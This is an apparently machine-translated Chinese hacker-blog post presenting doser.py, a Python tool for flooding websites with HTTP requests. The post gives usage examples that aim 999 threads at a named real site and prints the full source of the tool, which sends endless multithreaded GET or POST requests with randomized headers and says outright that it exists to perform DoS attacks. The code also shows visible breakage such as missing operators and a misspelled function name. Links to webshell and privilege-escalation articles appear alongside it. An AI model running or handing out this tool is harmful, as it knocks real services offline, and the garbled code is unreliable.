DenialofService(DoS)系统漏洞的网址

hacker5年前黑客文章629

Denial of Service (DoS)是分布式系统拒绝服务攻击攻击器;

 

doser.py是一款用Python撰写的于HTTP或HTTPS恳求的DoS专用工具;主要是对于有“application-denial-of-service (程序运行拒绝服务攻击(Dos))"系统漏洞的网址;

 

怎么使用?

使用 ***

doser.py [-h] [-g G] [-p P] [-d D] [-ah AH] [-t T]

 

可选主要参数:

-h,--help        显示信息此协助信息内容并撤出

-g                     特定GET恳求。 使用 *** :-g'<url>'

-p                     特定POST恳求。 使用 *** :-p'<url>'

-d                     为POST恳求特定数据信息重力梯度

-ah                   特定addtional题目

-t                      特定要应用的线程数

 

 

事例

1、999个进程推送GET恳求:

python doser.py -t 999 -g 'https://www.fujieace.com'

999个进程推送GET恳求

 

2、999个进程应用json数据信息推送POST恳求:

python doser.py -t 999 -p 'https://www.fujieace.com' -ah 'Content-Type: application/json' -d '{"json": "payload"}'

 

相关资料:

1、github网站地址:https://github.com/Quitten/doser.py

 

2、doser.py编码:

import requests
import sys
import threading
import random
import re
import argparse

host=''
headers_useragents=[]
request_counter=0
printedMsgs = []

def printMsg(msg):
	if msg not in printedMsgs:
		print ("\n" msg   " after %i requests" % request_counter)
		printedMsgs.append(msg)

def useragent_list():
	global headers_useragents
	headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
	headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
	headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
	headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
	headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
	headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
	headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
	headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
	headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)')
	headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
	headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)')
	headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
	return(headers_useragents)
def randomString(size):
	out_str = ''
	for i in range(0, size):
		a = random.randint(65, 90)
		out_str  = chr(a)
	return(out_str)

def initHeaders():
	useragent_list()
	global headers_useragents, additionalHeaders
	headers = {
				'User-Agent': random.choice(headers_useragents),
				'Cache-Control': 'no-cache',
				'Accept-Charset': 'ISO-8859-1,utf-8;q=0.7,*;q=0.7',
				'Referer': 'http://www.google.com/
?q='   randomString(random.randint(5,10)),
				'Keep-Alive': str(random.randint(110,120)),
				'Connection': 'keep-alive'
				}

	if additionalHeaders:
		for header in additionalHeaders:
			headers.update({header.split(":")[0]:header.split(":")[1]})
	return headers

def handleStatusCodes(status_code):
	global request_counter
	sys.stdout.write("\r%i requests has been sent" % request_counter)
	sys.stdout.flush()
	if status_code == 429:
			printMsg("You have been throttled")
	if status_code == 500:
		printedMsg("Status code 500 received")

def sendGET(url):
	global request_counter
	headers = initHeaders()
	try:
		request_counter =1
		request = requests.get(url, headers=headers)
		# print 'her'
		handleStatusCodes(request.status_code)
	except:
		pass

def sendPOST(url, payload):
	global request_counter
	headers = initHeaders()
	try:
		request_counter =1
		if payload:
			request = requests.post(url, data=payload, headers=headers)
		else:
			request = requests.post(url, headers=headers)
		handleStatusCodes(request.status_code)
	except:
		pass

class SendGETThread(threading.Thread):
	def run(self):
		try:
			while True:
				global url
				sendGET(url)
		except:
			pass

class SendPOSTThread(threading.Thread):
	def run(self):
		try:
			while True:
				global url, payload
				sendPOST(url, payload)
		except:
			pass


# TODO:
# check if the site stop responding and alert

def main(argv):
	parser = argparse.ArgumentParser(description='Sending unlimited amount of requests in order to perform DoS attacks. Written by Barak Tawily')
	parser.add_argument('-g', help='Specify GET request. Usage: -g \'<url>\'')
	parser.add_argument('-p', help='Specify POST request. Usage: -p \'<url>\'')
	parser.add_argument('-d', help='Specify data payload for POST request', default=None)
	parser.add_argument('-ah', help='Specify addtional header/s. Usage: -ah \'Content-type: application/json\' \'User-Agent: Doser\'', default=None, nargs='*')
	parser.add_argument('-t', help='Specify number of threads to be used', default=500, type=int)
	args = parser.parse_args()

	global url, payload, additionalHeaders
	additionalHeaders = args.ah
	payload = args.d

	if args.g:
		url = args.g
		for i in range(args.t):
			t = SendGETThread()
			t.start()

	if args.p:
		url = args.p
		for i in range(args.t):
			t = SendPOSTThread()
			t.start()
	if len(sys.argv)==1:
		parser.print_help()
		exit()
if __name__ == "__main__":
   main(sys.argv[1:])
标签: 黑客技术

相关文章

WinDbg可用以调节核心方式运行内存转储

WinDbg可用以调节核心方式运行内存转储

什么叫WinDbg? WinDbg,像OllyDbg,是由Microsoft派发的Microsoft Windows多功能程序调试。该黑客工具可用以调节客户方式程序运行,驱动软件和电脑操作系统自身,...

如何避免自己的电脑成为“肉鸡”_避免自己的电脑成为肉鸡的方法

如何避免自己的电脑成为“肉鸡”的几种方法,大家一起分享。 1.关闭高危端口: 第一步,点击“开始”菜单/设置/控制面板/管理工具,双击打开“本地安全策略”,选中“IP 安全策略,在本地...

nginx&IIS7.0&IIS7.5+php解析拿webshell

上传地址:http://chncto.com/bluesword/blue_sword.php?t=t_upload&Action=PostMsg 已使用解析拿下shell。...

什么叫webshell?

什么叫webshell?

getshell这儿一般 就是指获得webshell管理权限等这种。   什么叫webshell? webshell便是以asp、php、jsp或是cgi等网页源代码方式存有的一种指令实行...

黑客基础术语:什么是命令行和环境变量?

黑客基础术语:什么是命令行和环境变量?

在《黑客基础术语:什么是命令行和环境变量?》本文里我讲过什么叫SHELL?大伙儿能够温故一下。本文章内容是这一系列产品的第五篇,主要讲一下什么是黑客里的互动式SHELL及其在非互动式SHELL里怎样...

详解webshell提权服务器的21种方法

详解webshell提权服务器的21种方法

详解webshell提权服务器的21种方法 1.radmin连接法   条件是你权限够大,对方连防火墙也没有。封装个radmin上去,运行,开对方端口,然后radmin上去...